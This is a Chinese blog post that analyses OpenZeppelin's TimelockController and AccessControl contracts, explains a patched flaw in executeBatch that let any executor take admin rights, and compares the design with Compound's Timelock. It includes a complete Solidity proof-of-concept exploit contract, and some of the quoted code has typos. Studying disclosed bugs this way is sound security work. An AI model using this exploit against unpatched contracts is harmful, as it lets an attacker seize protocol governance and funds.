6

Hack Replay - Time lock

 2 years ago
source link: https://learnblockchain.cn/article/3063
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

最近在项目中要使用到Timelock和权限管理部分,故查阅了下Openzepplin的相关实现,意外发现Openzepplin在前两天刚刚给Timelock打补丁,原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin,而执行恶意程序。

Hack Replay - Time lock

最近在项目中要使用到Timelock和权限管理部分,故查阅了下Openzepplin的相关实现,意外发现Openzepplin在前两天刚刚给Timelock打补丁,原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin,而执行恶意程序。

出于学习的目的,这里先将Openzepplin实现的Timelock合约和相关的Access合约进行简单的分析,然后再指出漏洞,给出漏洞的POC,最后再与compound中实现的Timelock合约进行对比。

本文的参考链接如下:

TimelockController Vulnerability Postmortem - General / Announcements - OpenZeppelin Community

Analysis of OZ TimelockController security vulnerability patch | by Damian Rusinek | Sep, 2021 | Medium

Time Lock合约分析

https://github.com/OpenZeppelin/openzeppelin-contracts/commit/cec4f2ef57495d8b1742d62846da212515d99dd5

这里分析的TimeLock合约为Openzepplin再给它打补丁之前的合约。

首先需要知道的是:什么是Time Lock合约,以及为什么需要Time Lock合约

简单来讲Time Lock合约是一个时间锁合约,由Openzepplin于去年11月引入到3.3版本中,它实现的功能是延时执行合约动作。一个典型的例子是将TimelockController定位为dApp智能合约的管理员,因此,每当一个特权行动要被执行时,它必须等待Timelock指定的某个时间。

使用TimeLock合约可以带来如下两方面的好处:首先,它为项目团队提供了一个额外的安全层,对系统中预期的每一个特权行动给予提示。这使得团队能够检测和应对被破坏的管理账户的恶意调用。其次,它保护社区成员免受项目管理本身的影响,允许成员在不同意任何即将发生的变化时退出协议。

在Time Lock合约的核心,其设置了如下角色。提议者:用于将需要执行的方法以及对应的方法参数提交给Schedule方法,该方法会通过一个哈希运算得到将要执行的方法ID,然后将该ID及该方法预期执行的时间注册到提议表中。执行人:则提起该笔交易,同样通过execute方法计算处将要执行的方法ID,然后查询提议表中该方法ID是否存在,以及该方法ID对应的执行时间是否已经满足,如果都满足要求,则执行该笔交易。注意:存储在Timelock合约中的只有方法的ID和对应的执行时间,方法的参数及地址等均不存放在合约里。

image20210903145322051.png

//schedule方法只能是提议者调用
function schedule(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPSER_ROLE) {
    //计算方法的ID, 思考:delay不应该计算进入方法ID。
    bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
    //写入提议表之前需要验证什么?需要验证delay是不是有效?即delay超过最小delay时间没有。还需要验证该方法是不是已经写如果提议表了
    require(delay >= _minDelay);
    require(_timestamps[id] == 0);
    //写入提议表
    _timestamps[id] = delay.add(block.timestamp);
}
//execute方法只能是执行者调用
function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //计算方法的ID
    bytes32 id = keccak256(abi.encodePacked(target,value,data,predecessor,salt));
    //查提议表,得到方法ID对应的时间戳
    uint256 timestamp = _timestamps[id];
    //验证方法ID对应的时间戳有效即不为0,且小于当前时间=>证明可以开始执行该方法
    require(timestamp >= 1 && timestamp <= uint256(block.timstamp));
    //如果predecessor不为空,则说明执行该方法前,前任必须先要执行完毕。如何判断一个方法已经执行完毕呢?将其赋值为1
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新提议表中的提议时间为1,防止被重复执行
    _timestamps[id] = 1;
    //调用call来执行方法
    (bool success,) = address(target).call{value:value}(data);
    require(success);    
}

OpenzepplinTimelock实现中,它同时还实现了批量方法:

function scheduleBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
    //批量执行前,需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //批量提交议案,事实上并不是For循环调用提交议案schedule函数,并不是同时插入多个议案到提议表中,而是插入一个批量执行的议案到提议表中
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    _timestamps[id] = delay.add(block.timestamp);
}
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt) public virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //批量执行前,需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //计算批量执行议案的ID,确认该ID对应的时间戳满足要求,即> 1 and < now
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    uint256 timestamp = _timestamps[id];
    require(timestamp > 1 && timestamp <= block.timestamp);
    //如果predecessor不为0,则判断predecessor的提案是否执行完成
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新该批量执行议案的ID对应的时间戳为1
    _timestamps[id] = 1;
    //For循环批量调用
    for (uint i=0; i < targets.length; i++) {
        address target = targets[i];
        uint256 value = values[i];
        bytes memory data = datas[i];
        (bool success, ) = address(target).call{value:value}(data);
        require(success);
    } 
}

Access合约分析

Openzepllin的权限管理合约是一个实现了ERC165的合约,它的整体思路是设置不同的角色,然后通过grantRolerevokeRole给不同的角色添加相应的用户。权限管理合约中,还存在一个全局的ADMIN角色,用于给不同角色添加或者删除用户。当需要给函数添加权限管理时,就在函数方法上添加对应的modifier

Access合约在合约里实际上维护了一个对象结构体,来保存每个address的权限信息:

map(bytes32 => RoleData) private _roles;
struct RoleData {
	mapping(address => bool) members;
	bytes32 adminRole;
}
实际的映射关系为:
keccak256("TIMELOCK_ADMIN_ROLE") => address(Owner()) => true
keccak256("PROPOSER_ROLE") => address(proposer1) => true
keccak256("EXECUTOR_ROLE") => address(executor) => true

从上述的结构体可以看到,要设置一个角色时,需要分两步,第一步设置这个角色组的admin,第二步添加这个角色组的成员。
//第一步设置这个角色组的admin
function _setupRoleAdmin(bytes32 role,bytes32 adminRole) internal virtual {
    //拿到之前的preAdmin
    bytes32 prev_adminRole = _roles[role].adminRole;
    //给对应的角色组设置adminRole
    _roles[role].adminRole = adminRole;
}
//第二步:给角色组添加成员
function _grantRole(bytes32 role,address account) private {
    //先进行判断:即该成员是否已经是该角色组的活跃成员
    if(_roles[role].members[account] != true) {
        _roles[role].members[account] = true;
    }
}
//第三步:移除角色组中的成员
function _revoke(bytes32 role,address account) private {
    //先判断该角色在该角色组中,且活跃
    if (_roles[role].members[account] == true) {
        _roles[role].members[account] = false;
    }
}
//第四步:检查权限
function _checkRole(bytes32 role,address account) internal view {
    //先判断该账户在角色组中
    bool success = _roles[role].members[account];
    require(success);
    //换一种写法:使用revert将失败信息传递出去
    if (!success) {
        revert(string(abi.encodePacked("AccessControl: account",Strings.toHexString(uint160(account),20)," is missing rolw ",Strings.toHexString(uint256(role),32))));
    }
}

Openzepplin打补丁之前的Timelock合约中,存在者如下漏洞:

function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,uint256 salt) public payable virtual onlyRoleOrOpenROle(EXECUTOR_ROLE) {
	//参数检查
	require(targets.length == values.length && targets.length == datas.length);
	//计算提案Id
	bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
	//没有马上验提案Id的有效性
	//验证predecessor是否不为空,且是否执行完毕
	require(predecessor == bytes32(0) || _timestamps[predecessor] == 1);
	//for循环调用
	for (uint256 i=0; i < targets.length; i++) {
		_call(id,i,targets[i],values[i],datas[i]);
	} 
	//验证提案有效性
	require(_timestamps[id] > 1 && _timestamps[id] <= block.timestamp);
	//更新提案
	_timestamps[id] = 1;
}

分析该方法,首先明确External Call: _call(id,i,targets[i],values[i],datas[i]);, 其次明确该External Call是否可以被hook?由于没有对地址targets[i]进行检查,故该external call可以被hook。第三步:是否满足三种恶意模式。可以看到这里满足第二种恶意模式:data read after unsafe External Call.

思考如何利用Unsafe External Call来影响到data read, 即_timestamps[id].

可以看到,Timelock合约中的schedule方法可以写入值到_timestamps[id]

schedule onlyRole(PROPSER_ROLE):
     _timestamps[id] = delay.add(block.timestamp);

但是schedule只能由Proposer来访问。且schedule中没有External Call。那这里我们是不是就没有思路了呢?注意到这里是For循环,for循环的含义是循环体内部的函数会连续执行。这里的循环体内部就只有call函数。故其执行的顺序为:

Executor->executeBatch->call(addr1)->call(addr2)->call(addr3)->check->update

我们现在想要它的执行顺序为:

Executor->executeBatch->call(addr1)->call(addr2)->Proposer.schedule->update(_timestamps)->check(_timestamps)->update

故为满足proposer来调用schedule方法,最简单的方式是通过admin给外部地址alice添加角色Proposer

Executor->executeBatch->this.grantRole(Proposer)->this.updateDelay(0)->Proposer.schedule->->update(_timestamps)->check(_timestamps)->update

在具体编写POC时,需要注意msg.sender分别是谁。

在step1中,调用方法为:address(timelockController).updateDelay(0) 由于这是在调用executeBatch内部的for循环里调用的,故其msg.sender就是timelock自身。

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> for -> call -> timelock.updateDelay

这也是为什么可以绕过updateDelay中的检查:

function updateDelay(uint256 newDelay) external virtual {
	requrie(msg.sender == address(this));
	_minDelay = newDelay;
}

同理针对setp2, address(timelockController).grantRole()也是一样

其次,在step3中,此时已经将Exploit赋予了admin权限,故在step3中,需要用Exploit合约作为msg.sender, 故调用方式为:

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> call -> Exploit.attack -> call -> timelock.scheduleBatch

在具体的attack函数中,在执行attack函数后,在执行executeBatch结束前,满足如下条件

_timestamps[id] > 1 && _timestamps[id] <= block.timestamp

故需要构造一个相同的ID才行,并让delay设置为0即可。

从上面的漏洞合约分析中,可以看到,关键点在于For循环体内的函数是会连续执行的,得到的函数执行顺序是

call_1->call_2->call_3->check->update

这里的3个call都是可以由我们自己自由控制的,unsafe External Call的核心其实是在函数执行的中间,控制函数执行的顺序。故给出的POC如下:

pragma solidity ^0.8.0;
import "./TimeLockController.sol";
import "./ITimeLockController.sol";
import "hardhat/console.sol";
contract Setup {
    address[] public proposer;
    address[] public executor;
    TimelockController public timelock;
    uint public minDelay;
    constructor(address _proposer) {
        proposer.push(_proposer);
        //anybody can be an executor
        executor.push(address(0));
        minDelay = 86400;
        timelock = new TimelockController(minDelay,proposer,executor);
    }
}
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Setup.sol";

contract Exploit {
    
    Setup public setup;
    TimelockController public timelock;
    uint public minDelay;
    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
    bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
    uint256 internal constant _DONE_TIMESTAMP = uint256(1);
    
    constructor(address _setup) public {
        
        setup = Setup(_setup);
        
        timelock = setup.timelock();
           
    }
    function hack() public {
        //executebatch->timelock.updateDelay(0)->timelock.grantRole(PROPOSER_ROLE,address(Exploit))->address(this).schedule(delay=0)
        
        //executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt)
        
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;
        
        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));
        
        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));        
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);
        timelock.executeBatch(targets,values,datas,predecessor,salt);
    }
    
    function attack() public payable {
        //step1 : grant PROPOSER_ROLE to self
        timelock.grantRole(PROPOSER_ROLE,address(this));
        //grant ADMIN_ROLE to tx.origin so that we can use.
        timelock.grantRole(TIMELOCK_ADMIN_ROLE,tx.origin);
        
        //setp2 : submit a scheduleBatch => because we need to bypass the _timestamps[id], as well the id is executeBatch
        //make delay=0
        //scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) 
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;        
        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));       
        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));       
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);      
        timelock.scheduleBatch(targets,values,datas,predecessor,salt,delay);
       
    }    
}

image20210904233233098.png

与Compound中Timelock对比

compound中Timelock设计思路与openzepplinTimelock设计思路不完全一致。Compound的想法比较简单,只有admin是提议者,也只有admin是执行者。与Openzepplin中使用_timestamps[id]=block.timestamp+dylay的方式不同,compound中仅使用queuedTransactions[id]=true/false来判断该笔提议是否已经被提议者提交。当然,compound中判断一笔提议的到期时间也是自己的逻辑:

bytes32 txHash = keccak256(abi.encode(target,value,signature,data,eta));
而在openzepplin中:
bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));

openzepplin的方法id中并不包含该方法的到期时间,因为该方法的到期时间写入了_timestamps[id]中,而compound的方法id中包含了该方法的到期时间。同时也说明compound中将同一个方法在不同的到期时间执行视为不同的方法。这一点不如openzepplin的设计合理。

compound中也没有批量执行的概念和先序执行的概念,即缺少了scheduleBatch, executeBatch以及predecessor参数,对于一笔需要前一笔交易必须执行完成后才能执行的提案,openzepplin有更好的保护机制。但同时compound也将权限限制为admin才能提交,执行提案,这一点也降低了这一风险,但增加了中心化程度。

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 3天前
  • 阅读 ( 90 )
  • 学分 ( 10 )
  • 分类:智能合约

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK